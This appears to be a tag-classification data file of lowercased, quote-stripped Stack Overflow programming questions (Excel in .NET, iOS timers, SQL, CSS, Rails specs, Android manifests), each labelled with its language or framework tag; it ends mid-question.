unable to open file in exceljetcell library .net  here is the code which i m using to open already existing code. content in the excel in japanese. using <strong>exceljetcell library</strong>   <pre><code>string sourcefilepath = configurationmanager.appsettings[ sourcefilepath ]; string destinationpath = configurationmanager.appsettings[ destinationpath ]; int rndnumber = new random().next(); string filename =  yymmdd【回収予測】案件名_(conventional survey type).xlsx ; string destination = destinationpath + filename.split( . )[0] + rndnumber +   .xlsx ; system.io.file.copy(sourcefilepath + filename  destination); //copy excelworkbook workbook = excelworkbook.readxlsx(sourcefilepath + filename); </code></pre>   gives following error<a href= https://i.stack.imgur.com/4zpbb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4zpbb.png  alt= enter image description here ></a>,.net
scheduledtimerwithtimeinterval is not calling at correct intervals sometimes  i have two separate timers on for recording data at 0.25 seconds and other for recording location details at 1 sec as below   <pre><code> self.hardbrakingtimer = [nstimer scheduledtimerwithtimeinterval:0.25                                                          target:self                                                        selector:@selector(timerfired:)                                                        userinfo:nil                                                         repeats:yes];  self.locationtimer = [nstimer scheduledtimerwithtimeinterval:1.0                                                       target:self                                                     selector:@selector(locationtimerfired:)                                                     userinfo:nil                                                      repeats:yes]; </code></pre>   but sometimes these timers are not calling at given time intervals.,ios
on load of a page read an xml using jquery  from 1st page i pass 2 parameters <code>http://in164263:5050/csm/csminfo.jsp cfgid=48&amp;filepath=files/csmclientbuckeye.xml</code>    how to read the request parameter in <code>csminfo.jsp</code> and get xml file from <code>filepath</code>     i suppose for reading and parsing xml i can us something like this   <pre><code>$.ajax({     type:  get       url:  sites.xml   //here i want to read request parameter `filepath`     datatype:  xml       success: function(xml) {      } }); </code></pre>   the problem is i am passing the <code>filepath</code>on  <code>onload</code> of page s body  so the spry region tries to load itself through the dataset(which is not yet initialised) but since it does not have the path yet it is not displayed. so how can i get the <code>filepath</code> before onload so that spry:region gets this filepath,jquery
how to get order by with inner query  i am new to sql  can any one please help me with getting ordered data from the internal query   <pre><code>select      *  from emp  where id      (select order from department where name =  testing  order by order asc). </code></pre>   i am getting order data from the inner query and with the id s i get i should get the result from the emp table to be in the same order of inner query. can anyone help me with this. tia.,sql
server callbacks in asp.net  what is the correct way to implement server callbacks in asp.net to update a control  i know all about ajax and async client calls to server but what about this scenario:    you display a treeview (server control) with a list of items to the user. you have a server process running which checks a queue. when an item gets added to the queue it should update the tree control. how  sounds easy. but seems ridiculously difficult in asp.net.,asp.net
how to write in more pythonic way   i want to write this code in more pythonic way. have you any idea how i can do this    <pre><code>def counter():     for x in self.get_xs():         total_x = 0         result = (re.sub( [^0-9]       x))         for number in result:             total_x += int(number)         yield(total_x) </code></pre>,python
two auto-width divs side by side  how can i position two divs with auto width side by side  the left div should take priority. below is my attempt:   <pre><code>&lt;div id= div_1 &gt;&lt;/div&gt; &lt;div id= div_2 &gt;&lt;/div&gt;  #div_1 {     display:inline-block;         float:left;         position:relative;     width:auto; }  #div_2 {     display:inline-block;     float:right;     position:relative;     width:auto; } </code></pre>   edit: adding the goal for clarity -  the goal is to make the first div be able to autosize itself. the second div should occupy the rest of the space.,css
sql query giving wrong answer  i keep getting the wrong answer when i run my query. i have tried it with <code>left</code>  <code>inner</code> and <code>full</code>  changed <code>=</code> to <code>like</code> and changed <code>yes</code> to <code>no</code> but keep getting the same incorrect answer.   <pre><code>select is_class_rep course_name from students left join course on course.course_id=students.course_id where is_class_rep like  %no% ;  insert into students (student_id  first_name  last_name  date_of_birth phone_number email_address year_in_college is_class_rep date_of_training role_su staff_id) values (3  hillay   clinton   1984-04-06  0869456633  hilldog@whitehouse.com   2nd year    no          )  (4  bill   clinton   1983-06-06  0853215896  oraloffice@whitehouse.com   3rd year    yes   2015-10-21   clubs &amp; societies   2 )  (5  donald   trump   1987-05-12  086321321  combeover@whitehouse.com   1st year    yes   2015-10-21       )  (6  stan   smith   1990-04-20  0875846842  ss@fbi.com   2nd year    no          )  (7  stan   marsh   1989-01-26  086845665  wendy@southpark.com   1st year    yes   2015-10-21       )  (8  bruce   wayne   1991-04-10  0878989856  iamthebatman@gotham.com   3rd year    no          )  (9  fred   claus   1992-02-17  084258258  onceayear@northpole.com   3rd year    yes   2015-10-21   entertainment   3 )  (10  zack   smith   1988-10-18  086799878  wheresmirig@gogle.com   1st year    no          )  (11  hugo   cruz   1984-05-05  0851597532  hugo@yahoo.com   2nd year    yes   2015-10-21   equality   4 ); </code></pre>   i noticed i was missing a course_id so i did add it in   <pre><code>insert course (course_id course_name full_part_time course_fees course_leader) values (1  radio production   full time   yes   rick rubin )  (2   marketing   part time   no   gavin evans )  (3  business information systemys   full time   yes   liam malone )  (4  mixology   full time   no   slim denby )  (5  business studies   part time   yes   john doe ); </code></pre>   i have 2 table students and courses and i have populated both. in students i have a column called is_class_rep and i have entered constraints only allowing yes or no to be entered and i have made sure that one of the course has no class rep. the foreign key is a course id. on my second table i have my course and i am try to create a query that will give a list of the course with no class rep but every time i run the query it just lists all the courses with either yes opposite all the course or no opposite the course.,mysql
javascript jsgantt to pdf  i am using jsgantt javascript library for showing gantt charts in html . now i want to save that generated ganttchart in pdf form how i will use that       the problem is with css   and javascript....    thank you,javascript
how to send a message on the screen and redirect to a different page  sometime ago  i asked about  how to send an alert and reload the page  and i found the answer <a href= https://stackoverflow.com/a/15616006/1919644 >here</a><br> but now i need to send this alert/ message of confirmation like <code>new registration successfully done</code> and redirect to a different page.<br> and i have no idea how... the way i used to do  will only reload the currently page  and if i make a <code>response.redirect( pagename.aspx );</code> it will not show the alert.<br> what could i do       <strong>update</strong><br> now  i found this <code>window.location.href =  pagina.aspx ;</code> but i don t know if it is a good practice or how to use this  on codebehind  this method does not exists...,asp.net
retrieving checkbox status in an html table using javascript  i m trying to remember the syntax for getting an element inside a table using javascript. i have a table with a checkbox in it. these are dynamic checkboxes or i would just use the getelementbyid. here is how i m doing it. i know i m close  but just figured it out yet. here is the code i have so far:   <pre><code>   table_name.rows[0].cells[0].item[0] </code></pre>   or    <pre><code>   tbl_run_avail.rows[1].cells[0].elements[0] </code></pre>,javascript
hindi data xml in iphone  i am getting hindi xml data .how can in display in hindi language in iphone please help me   <pre><code>\u00e0\u00b0\u00a8\u00e0\u00b0\u00b5\u00e0\u00b1\u008d\u00e0\u00b0\u00b5\u00e0\u00b0\u00bf\u00e0\u00b0\u201a\u00e0\u00b0\u0161\u00e0\u00b0\u00a1\u00e0\u00b0\u201a   </code></pre>,iphone
simplehttprequesthandler close connection before returning from do_post method  i m writing a simple webserver in python. here follows a simplified version of my code:   <pre><code>class streamerhandler(simplehttprequesthandler):     def do_post(self):         try:             length = int(self.headers.getheader( content-length ))             data = self.rfile.read(length)             self.send_response(200   ok )             #process_data(data  self.client_address)         except exception as inst:             logging.error(type(self).__name__ +  /   + type(inst).__name__ +   (  + inst.__str__() +  ) )  class streamer(tcpserver):     def __init__(self  overlay):         self.allow_reuse_address = true         tcpserver.__init__(self  (    port)  streamerhandler) </code></pre>   what i would like to do is to send the response close the tcp connection and then run the process_data method which may take a long time to complete.    is there way to achieve this  the only solution i can think is to use a dedicated thread to handle the processing.,python
find child by class and remove all the elements except the first one  i have a tr row id (myrow) and it has a child table and that table has rows with class  .contentrow . i am using the following code to remove all the rows with class  .contentrow  except the first one. this is the code i am using:    <pre><code>var myrow = $( #  + rowid).next().clone(); $(myrow).find( .contentrow tr:gt(0) ).remove(); </code></pre>   the above does not seems to be working and does not remove any row. i tried using jsfiddle but jsfiddle is behaving in a strange way and not refreshing.     jsfiddle: <a href= http://jsfiddle.net/xt6vq/1/  rel= nofollow >http://jsfiddle.net/xt6vq/1/</a>,jquery
rails: cannot load such file - spec.rb  i m working through chapter 9 of hartl s rails tutorial.  i just added some tests for the  edit  page  but it won t run on the command line.    i m trying to run  bundle exec rspec spec/requests/user_pages_spec.rb -e  edit page      i think there may be a problem with my user_pages_spec.rb . i might have too many  end  at the bottom.   <pre><code>c:\sites\sample_app&gt;bundle exec rspec spec/requests/user_page_spec.rb -e  edit p age  c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.13.1/lib/rspec /core/configuration.rb:819:in `load : cannot load such file -- c:/sites/sample_a pp/spec/requests/user_page_spec.rb (loaderror)         from c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.1 3.1/lib/rspec/core/configuration.rb:819:in `block in load_spec_files          from c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.1 3.1/lib/rspec/core/configuration.rb:819:in `each          from c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.1 3.1/lib/rspec/core/configuration.rb:819:in `load_spec_files          from c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.1 3.1/lib/rspec/core/command_line.rb:22:in `run          from c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.1 3.1/lib/rspec/core/runner.rb:80:in `run          from c:/railsinstaller/ruby2.0.0/lib/ruby/gems/2.0.0/gems/rspec-core-2.1 3.1/lib/rspec/core/runner.rb:17:in `block in autorun  </code></pre>   user_pages_spec.rb   <pre><code>require  spec_helper   describe  user pages  do    subject { page }    describe  profile page  do     let(:user) { factorygirl.create(:user) }     before { visit user_path(user) }      it { should have_content(user.name) }     it { should have_title(user.name) }   end    describe  signup page  do     before { visit signup_path }      it { should have_content( sign up ) }     it { should have_title(full_title( sign up )) }   end    describe  signup  do      before { visit signup_path }      let(:submit) {  create my account  }      describe  with invalid information  do       it  should not create a user  do         expect { click_button submit }.not_to change(user  :count)       end     end      describe  with valid information  do       before do         fill_in  name           with:  example user          fill_in  email          with:  user@example.com          fill_in  password       with:  foobar          fill_in  confirmation   with:  foobar        end        it  should create a user  do         expect { click_button submit }.to change(user  :count).by(1)       end        describe  after saving the user  do         before { click_button submit }         let(:user) { user.find_by(email:  user@example.com ) }          it { should have_link( sign out ) }         it { should have_title(user.name) }         it { should have_selector( div.alert.alert-success   text:  welcome ) }       end         describe  edit  do     let(:user) { factorygirl.create(:user) }     before { visit edit_user_path(user) }      describe  page  do       it { should have_content( update your profile ) }       it { should have_title( edit user ) }       it { should have_link( change   href:  http://gravatar.com/emails ) }     end      describe  with invalid information  do       before { click_button  save changes  }        it { should have_content( error ) }     end   end  end  end end </code></pre>   gemfile   <pre><code>source  https://rubygems.org  ruby  2.0.0  #ruby-gemset=railstutorial_rails_4_0  gem  rails    4.0.8  gem  bootstrap-sass    2.3.2.0  gem  sprockets    2.11.0  gem  bcrypt-ruby    3.1.2  gem  faker    1.1.2  gem  will_paginate    3.0.4  gem  bootstrap-will_paginate    0.0.9   group :development  :test do   gem  sqlite3    1.3.8    gem  rspec-rails    2.13.1    # the following optional lines are part of the advanced setup.   # gem  guard-rspec    2.5.0    # gem  spork-rails    4.0.0    # gem  guard-spork    1.5.0    # gem  childprocess    0.3.6  end  group :test do   gem  selenium-webdriver    2.35.1    gem  capybara    2.1.0    gem  factory_girl_rails    4.2.0    gem  cucumber-rails    1.4.0   :require =&gt; false   gem  database_cleaner   github:  bmabey/database_cleaner     # uncomment this line on os x.   # gem  growl    1.0.3     # uncomment these lines on linux.   # gem  libnotify    0.8.0     # uncomment these lines on windows. gem  rb-notifu    0.0.4  gem  wdm    0.1.0  end  gem  sass-rails    4.0.1  gem  uglifier    2.1.1  gem  coffee-rails    4.0.1  gem  jquery-rails    3.0.4  gem  turbolinks    1.1.1  gem  jbuilder    1.0.2   group :doc do   gem  sdoc    0.3.20   require: false end  group :production do   gem  pg    0.15.1    gem  rails_12factor    0.0.2  end </code></pre>,ruby-on-rails
angular render string based on expression  i have a method to that returns an integer value  <code>{{cart.totalitems()}}</code>.  this works fine.  i wanted to know if it is possible to have this expression print a string based on the result of this method call.  for example:    <blockquote>    print  x  if the value returned is greater than 0  or  y  otherwise.  </blockquote>   is this possible in the expression itself (for example by using a filter) or do i need to roll an angular function to do this   i ve used <em>similar</em> techniques done in the expression specified in an <code>ng-show</code>directive  for example:   <pre><code>{true: false  false: true }[ngtransaction.$state.shippingnamesameascustomername] </code></pre>   however  i cannot seem to nail the syntax for this in view.  is it possible to render a string conditionally based on the output of a function call in an expression,angularjs
making unique copies of objects to place in nsmutablearray  i m struggling with this a bit...    i m creating a new nsmutablearray like so   <pre><code>nsmutablearray *myarray = [nsmutablearray arraywithobjects:[db getrandomcustomobject]  [db getrandomcustomobject]  [db getrandomcustomobject]  nil]; </code></pre>   the getrandomobject method looks at another array grabs a random object pointer and places it in myarray.    the problem i m having is that it s just storing a pointer... so if myarray gets a duplicate randomobject they both have the same memory address location.    i want all objects in myarray to be their own objects... not pointers to the object in another array.  i want them to all have their own unique memory location.    i m thinking maybe in the getrandomcustomobject method i need to do a copywithzone or something similar before the return     can anyone provide me the full sample code to do what i m attempting   i ve tried looking at nscopying protocol and override copywithzone method for my custom object but i can t figure out how to do it  (still a newb)    thanks!,objective-c
difference between lifetimes of variables created on stack and heap   i know that heap is used in case of dynamic memory allocation otherwise stack is used. i have tried <a href= https://stackoverflow.com/questions/8385322/difference-between-static-memory-allocation-and-dynamic-memory-allocation >difference between static memory allocation and dynamic memory allocation</a> i know the difference but confusion is about their lifetimes.,c
how to bypass the system proxy when using webclient  i am using proxy in the window     <a href= https://i.stack.imgur.com/ugbyl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ugbyl.png  alt= enter image description here ></a>    how to by pass the proxy server setting using webclient while uploading or downloading from some website. even i am using the proxy server in the control panel.,c#
php new class object not being instanced  i am trying to create a new model object from my mvc controller but the page doesn t generate. is there any reason why i can t do this  surely i should be able to create an object inside an existing one     sorry to be so simplistic  and i know i sound like an idiot  but i m not sure how to explain what i am doing wrong.   <pre><code>class controller_landing extends controller_base {     public function __construct($get $post)     {         parent::__construct($get $post);          $this-&gt;model = new model_landing;  &lt;-----problem line here     } }  abstract class controller_base {        //store headers     protected $get;     protected $post;      //store layers     protected $view;     protected $model;      protected function __construct($get $post)     {             //store the header arrays         $this-&gt;get = $get;         $this-&gt;post = $post;          //preset the view layer as an array         $this-&gt;view = array();     }      public function __destruct()     {         //extract variables from the view layer         extract($this-&gt;view);          //render the view to the user         require_once( view/ .$this-&gt;get[ controller ]. _view.php );     } }  class model_landing extends class_mysqli {     public function __construct     {         echo  landing model ;        } }  class class_mysqli {     public function __construct     {         echo  mysqli ;     } } </code></pre>,php
why in objective-c  we use self = [super init] instead of just [super init]   in a book  i saw that if a subclass is overriding a superclass s method  we may have   <pre><code>self = [super init]; </code></pre>   first  is this supposed to be done in the subclass s <code>init</code> method     second  i wonder why the call is not just    <pre><code>[super init]; </code></pre>      i mean  at the time of calling <code>init</code>  the memory is allocated by <code>alloc</code> already (i think by <code>[foobar alloc]</code> where <code>foobar</code> is the subclass s name.  so can t we just call <code>[super init]</code> to initialize the member variables   why do we have to get the return value of <code>init</code> and assign to <code>self</code>   i mean  before calling <code>[super init]</code>  <code>self</code> should be pointing to a valid memory allocation chuck... so why assigning something to self again     (if assigning  won t <code>[super init]</code> just return <code>self</code> s existing value ),objective-c
c# how to use myclass.object1.child as a whole one argument   here is my class:   <pre><code>class infoclass {     public string source;     public infoitem tests { get; set; }     public infoitem serverbuild { get; set; }     public infoitem localbuild { get; set; }     public infoitem installedbuild { get; set; }      public void pull()     {         infoclass newinfo = jsonconvert.deserializeobject&lt;infoclass&gt;(file.readalltext(this.source));         this.tests = newinfo.tests;         this.serverbuild = newinfo.serverbuild;         this.localbuild = newinfo.localbuild;         this.installedbuild = newinfo.installedbuild;     }     public void push()     {         file.writealltext(this.source  jsonconvert.serializeobject(this));     } }  public class infoitem {     public string version { get; set; }     public string status { get; set; }     public string updated { get; set; } } </code></pre>   now  i create instance of this class in another file  e.g:   <pre><code>infoclass info = new infoclass() </code></pre>   and then i use pull and push to update some values:   <pre><code>        info.pull();         info.serverbuild.status =  checking ;         info.push(); </code></pre>   what i want is to create some auxiliary method to use it more often and esier. something like this:    <pre><code>info.update(serverbuild.status   checking ); //instead of above 3 lines </code></pre>,c#
potential leak of an object stored in $object  at line 3 and 4  i get a <strong>product --> analyze</strong> message   <blockquote>    potential leak of an object stored in <code>source</code>        potential leak of an object stored in <code>addressbook</code>  </blockquote>  <pre><code>abaddressbookref addressbook = abaddressbookcreatewithoptions(null  error); abrecordref source = abaddressbookcopydefaultsource(addressbook); cfarrayref allpeople = abaddressbookcopyarrayofallpeopleinsourcewithsortordering(addressbook  source  kabpersonsortbyfirstname); cfindex npeople = abaddressbookgetpersoncount(addressbook); </code></pre>   would you be tell the reason for those messages and how not to get those,ios
button click isnt getting triggered on hitting the enter key  i am trying to emulate a button click when the enter key is pressed in a text box. i have used this before too but it just doesn t seem to work now.     please check the code i am using below and let me know if i missed something. i have been away from coding for almost a year now maybe i am missing something    <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms; using system.data.sqlserverce;  namespace windowsformsapplication1 {       public partial class form1 : form     {         string uname  password  query;         int counter = 0;          public form1()         {             initializecomponent();          }          private void login_click(object sender  eventargs e)         {             verify();                   }         private void pass_keydown(object sender  keyeventargs e)         {             if (e.keycode == keys.enter)             {                 verify();             }         }          private void verify()         {             uname = name.text;  //initialize variables             password = pass.text;              uname = uname.trim();   //sanitize input             password = password.trim();              query =  select * from login where uname = @uname and pass = @pass ;              string constring = properties.settings.default.libconnectionstring;             using (sqlceconnection conn = new sqlceconnection(constring))             {                 conn.open();                 using (sqlcecommand cmd = new sqlcecommand(query  conn))                 {                     cmd.parameters.addwithvalue( @uname   uname);                     cmd.parameters.addwithvalue( @pass   password);                     cmd.executenonquery();                      sqlcedatareader reader = cmd.executereader();                     while (reader.read())                     {                         counter = 1;                         variables.username = reader[ uname ].tostring();                         variables.passw = reader[ pass ].tostring();                         if (reader[ regid ].tostring() != null)                         {                             variables.regid = reader[ regid ].tostring();                         }                         messagebox.show(variables.username +    you are now logged in! );                     }                      if (counter == 0)                     {                         messagebox.show( invalid details );                     }                 }             }         }       } } </code></pre>   i am coding in c# in the ide visual studio 2012,c#
is there a css  compiler  that auto expands to cover all/most browsers   specifically looking at things with a -webkit  -moz -o prefix such as transform  transition  etc...    i m wanting something like a <a href= http://sass-lang.com/  rel= nofollow >smart sass</a> (which i thought would probably do it  but doesn t appear to) that would take the generic form of commands and write all the long prefixed versions for me.  for example:   <pre><code>    .shrink {         -webkit-transition: -webkit-transform 1s;         -webkit-transform: scale(0);         -moz-transition: -moz-transform 1s;         -moz-transform: scale(0);         -o-transition: -o-transform 1s;         -o-transform: scale(0);     } </code></pre>   would be written as   <pre><code>    .shrink {         transition: transform 1s;         transform: scale(0);     } </code></pre>   and the css  compiler  would write out all the other stuff.....,css
capitalize after period in javascript live  while writing in the input field  how to capitalize first letter after period  for example  if entering name in textbox like <code>j.daniel pigott</code> or <code>j. daniel pigott</code> it should reflect as <code>j.daniel pigott</code> and remove space. i can capitalize first letter while typing  how to change letter to uppercase after period from below code.   <pre><code>&lt;asp:textbox id= tbxname  runat= server  cssclass= tbxcandidateinfo  tabindex= 1 &gt;&lt;/asp:textbox&gt;      $( #tbxname ).keyup(function (event) {         var arrword = $(this).val().split(   );         var result =   ;          for (var i = 0; i &lt; arrword.length; i++) {             result += arrword[i].substring(0  1).touppercase() + arrword[i].substring(1).tolowercase();             if (i &lt; arrword.length - 1) {                 result +=    ;             }         }         $(this).val(result);     });      1) while user entering his name (any name) it should *capitalize* first letter     2) if user entering his name along with initial then *capitalize* the word after period. 3) uppercase for entire words not allowed. these changes should happen while entering this name field ***onkeyup*** event </code></pre>,javascript
ios 11 custom navigation bar gives two bars  when i try to add a custom uinavigationbar to a view controller like this   <pre><code>class viewcontroller: uiviewcontroller {     static let nav_bar_height: cgfloat = 64      let nav_bar: uinavigationbar =     {         let nav_bar = uinavigationbar()         nav_bar.translatesautoresizingmaskintoconstraints = false         nav_bar.backgroundcolor = .blue         return nav_bar     }()      override func viewdidload()     {         super.viewdidload()         view.backgroundcolor = .yellow         view.addsubview(nav_bar)         nav_bar.heightanchor.constraint(equaltoconstant: viewcontroller.nav_bar_height).isactive = true         nav_bar.topanchor.constraint(equalto: view.topanchor).isactive = true         nav_bar.centerxanchor.constraint(equalto: view.centerxanchor).isactive = true         nav_bar.widthanchor.constraint(equaltoconstant: uiscreen.main.bounds.width).isactive = true      } } </code></pre>   two distinct bars show up.  <a href= https://i.stack.imgur.com/gkvcc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gkvcc.png  alt= enter image description here ></a>    any idea on why there is the white colored bar with a smaller height     this is the appdelegate   <pre><code>@uiapplicationmain class appdelegate: uiresponder  uiapplicationdelegate {      var window: uiwindow        func application(_ application: uiapplication  didfinishlaunchingwithoptions launchoptions: [uiapplicationlaunchoptionskey: any] ) -&gt; bool {         window = uiwindow(frame: uiscreen.main.bounds)         window .makekeyandvisible()         let vc = viewcontroller()         window .rootviewcontroller = vc         // override point for customization after application launch.         return true     }... </code></pre>,ios
differences between strong and weak in objective-c  i m new to obj-c  so my first question is:    what are the differences between <code>strong</code> and <code>weak</code> in <code>@property</code> declarations of pointers to objects     also  what does <code>nonatomic</code> mean,objective-c
read more... how to replace it with read less after it s expanded   could you please help me with this code  i was looking for an asnwer here but its a bit hard for me as i m a beginner in jquery programming. what i m trying to do here is to replace the ( read more... ) text after it s pressed with ( read less... ) for example. i was trying to do it but it fails over and over again. i found other posts here about this  but i would like to use the script i made to train more with this. any thoughts  the code is here.    <pre><code>$(document).ready(function(){ var $posts = $( #items &gt; div ); var maxheight = 95;  $( a   $posts).live( click   function(){     var $par = $(this).prev( p );      var oh = parseint($par.attr( class ));      if($par.height() == oh){         $par.animate({              height : maxheight         }   medium );     }else{         $par.animate({              height : oh         }   medium );     } });  $posts.each(function(){     if($( p   this).height() &gt; maxheight){          $( p   this)             .attr( class   $( p   this).height())             .css( height   maxheight+ px );         $(this).append($( &lt;a&gt; ).text( read more... ));     } }); </code></pre>   });    what sort of code and where should i place to replace the  read more...  with  read less  after  read more...  is pressed (it expands - animate down). apart of replacing the text the script is working fine.. thank you for any help given. i ll kindly appreciate all tips. thank you in advance,jquery
possible to select the first child (when the first element will often be different)  my <code>div</code> sometimes starts with a <code>p</code> a <code>h2</code> a <code>h3</code> or an <code>ul</code>. is there a way to select the first element of the <code>div</code>  regardless of what the element is     here is a jsfiddle <a href= https://jsfiddle.net/nv0mg602/  rel= nofollow noreferrer >https://jsfiddle.net/nv0mg602/</a>    in the first div i would like the the first <code>p</code> to be red  not both <code>p</code>. in the second div i would like the first <code>h2</code> to be red.    thanks everyone. i ve realised that <code>.main:first-child</code> doesn t work  but <code>.main :first-child</code> does (with a space between main and the colon),css
css transition on the  content  property of :before pseudo element  here s a fiddle demonstrating the problem: <a href= http://jsfiddle.net/c4mns/  rel= nofollow noreferrer >http://jsfiddle.net/c4mns/</a>    essentially i am swapping out the contents of the <code>content</code> property under the <code>i:before</code> pseudo which works fine. however  i am unable to force a transition such that this swap occurs smoothly.    i followed the advice found in this answer: <a href= https://stackoverflow.com/a/19579514/765409 >https://stackoverflow.com/a/19579514/765409</a>    but you can see that this is not effective in this situation.,css
a good approach to different indexes of same resource in rails   something i ve been wondering about is the best approach to creating a different index view of the same resource in rails.    for example  let s say you have a group of users  and the current index action of the users controller that generates a tabular view of the users. you then want to create a second index view that plotted all the users on a map.  would the best approach be to create a new action in the users controller  or to create a new controller (like usersmap) with a new index     thoughts appreciated...    my route file looks like this:    <pre><code>resources :users  :only =&gt; [:index  :index_with_map  :show  :edit  :update] do       match  /index_with_map  =&gt;  users#index_with_map   end  </code></pre>   but hitting  users/index_with_map  results in:    <pre><code>activerecord::recordnotfound at /admin/users/index_with_map couldn t find user with id=index_with_map </code></pre>,ruby-on-rails
get time in utc 2015-03-19t10:57:40.174z format  i am trying to get time in 2015-03-19t10:57:40.174z format but its not working for me     i have tried these-    1.   <pre><code>echo date( y-m-dthhm:ss.mmmz ); </code></pre>   2.   <pre><code>date_default_timezone_set( utc ); $datetime = new datetime();  $str = $datetime-&gt;format(datetime::iso8601); echo $str;   output-2015-03-19t17:27:46+0530 </code></pre>   3.   <pre><code>date_default_timezone_set(); print date( c );    output-2015-03-19t17:33:52+05:30 </code></pre>   but i need exact format(2015-03-19t10:57:40.174z). how can i do that      please help.,php
run asp.net page from vs 2008 problem  i have a problem . when i try to run an asp.net page in vs 2008 using a browser(internet explorer mozilla ...)  i get a  internet explorer cannot display the webpage  error. i have windows vista with sp1 installed.    i have tried this and i get the same error. i have even tried disabling the firewall and antivirus. i am using defauld development web server  not iis. i have tried creating a blank project and it still does not work,asp.net
rails actioncontroller::invalidauthenticitytoken error  from time to time  my rails application sends me bug reports for actioncontroller::invalidauthenticitytoken on random <code>create</code> or <code>update</code> actions. i have the <code>csrf_meta_tags</code> in my head tag and 99% of my requests work.    in the documentation  i have seen than i can try a <code>protect_from_forgery with: :null_session</code> but this option is suppose to be for apis only.    i m not sure what to do. do you have any advices      i m using rails 4.1 but i have the same problem with older versions.,ruby-on-rails
how to open again the minimized pop up window  here ther is one button. if we click that button pop up window will be opened.if i minimized that one and again i click that button means that minimized pop up window sholud be opened. any idea,.net
select into where  i m currently in the process of merging two tables in my db. i m trying to use this code:   <pre><code>    insert into starinformation( pagex  pagey )  select pagex  pagey from starmaptopdown where starid = starinformation.starid </code></pre>   but the code isn t working. the query is exucuting saying that all the tables were effected  but the information was not placed into the database/,sql
android asynctask is blocked by phone call   my <code>asynctask</code> class runs fine if my app is in background but if i answer a phone call  it will stop running. as soon as i hang up  i starting seeing its activity again. it communicates between my app and my database. how can i keep this background process running all the time,android
"unable to understand angulajs dependency error  i am trying to implement a custom filter. i am getting a dependency error from angularjs. please help me to resolve this.     below is my code...    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>angular.module( test   [])
   .controller( testcontroller   [ $scope   function ($scope) {
         $scope.mydate = 1456106575956;
   }])
   .filter( utctodate   function(putcstring) {
     return function(putcstring) {
         return new date(putcstring);
     }
 });
 
 
   
   
   </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;body ng-app= test  ng-controller= testcontroller &gt;
   {{mydate | utctodate:mydate }}
 &lt;/body&gt;</code></pre>
 </div>
 </div>",angularjs
where exactly put using namespace std; and #include <iostream> (libraries) in my files  when i start programming i use only one source code so i put libraries and namespace in the first of my code ... now i using two source code as one main and second to define functions(need <code>cout</code> <code>cin</code> any other impeded functions as <code>algorithm</code> s) and a <code>header file</code> for prototype  ... finally i found a big annoy as i don t know where exactly put my includes and <code>using namespace std;</code> to be used in a hall program not only in one source code ...,c++
release build of my android app shows multiple launchers  so i developed an app and was having it go nice and smooth when building it for release. no problems with the signing process or the publishing process  everything seemed to go well.    however  when i install it now instead of showing one launcher for the app it shows multiple. about one for each activity that exists within  it didn t seem to be doing this in earlier release builds and i am not sure why it is doing so now.    if it helps to know; i have the build variant set to release  i generate the signed apk with no errors or oddities  it is signed with both the v1 &amp; v2 and has been since the first release.    here s my app gradle;   <pre><code>apply plugin:  com.android.application   android {     compilesdkversion 25     buildtoolsversion  25.0.3      defaultconfig {         applicationid  com.atchaca.proverbialwisdom          minsdkversion 19         targetsdkversion 25         versionname  1.1.3          testinstrumentationrunner  android.support.test.runner.androidjunitrunner          versioncode 9     }     buildtypes {         release {             minifyenabled false             proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro          }     }     productflavors {     } }  dependencies {     compile filetree(include: [ *.jar ]  dir:  libs )     androidtestcompile( com.android.support.test.espresso:espresso-core:2.2.2   {         exclude group:  com.android.support   module:  support-annotations      })     compile  com.android.billingclient:billing:dp-1      compile  com.android.support:appcompat-v7:25.3.1      compile  com.google.android.gms:play-services-ads:10.2.0      compile  com.google.android.gms:play-services-auth:10.2.0      compile  com.google.firebase:firebase-database:10.2.0      compile  com.google.firebase:firebase-auth:10.2.0      compile  com.google.firebase:firebase-crash:10.2.0      compile  com.google.firebase:firebase-ads:10.2.0      testcompile  junit:junit:4.12  }       apply plugin:  com.google.gms.google-services  </code></pre>   and my manifest;   <pre><code>&lt;manifest xmlns:android= http://schemas.android.com/apk/res/android       package= com.atchaca.proverbialwisdom &gt;     &lt;uses-permission android:name= android.permission.internet  /&gt;     &lt;uses-permission android:name= android.permission.access_network_state /&gt;     &lt;uses-permission android:name= android.permission.access_wifi_state /&gt;     &lt;uses-permission android:name= com.android.vending.billing /&gt;       &lt;application         android:allowbackup= true          android:icon= @drawable/proverbial_wisdom_logo          android:label= @string/app_name          android:roundicon= @drawable/proverbial_wisdom_logo_round          android:supportsrtl= true          android:theme= @style/fullytheme &gt;          &lt;activity android:name= .splashactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .mainactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .snippetactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity android:name= .aboutactivity &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  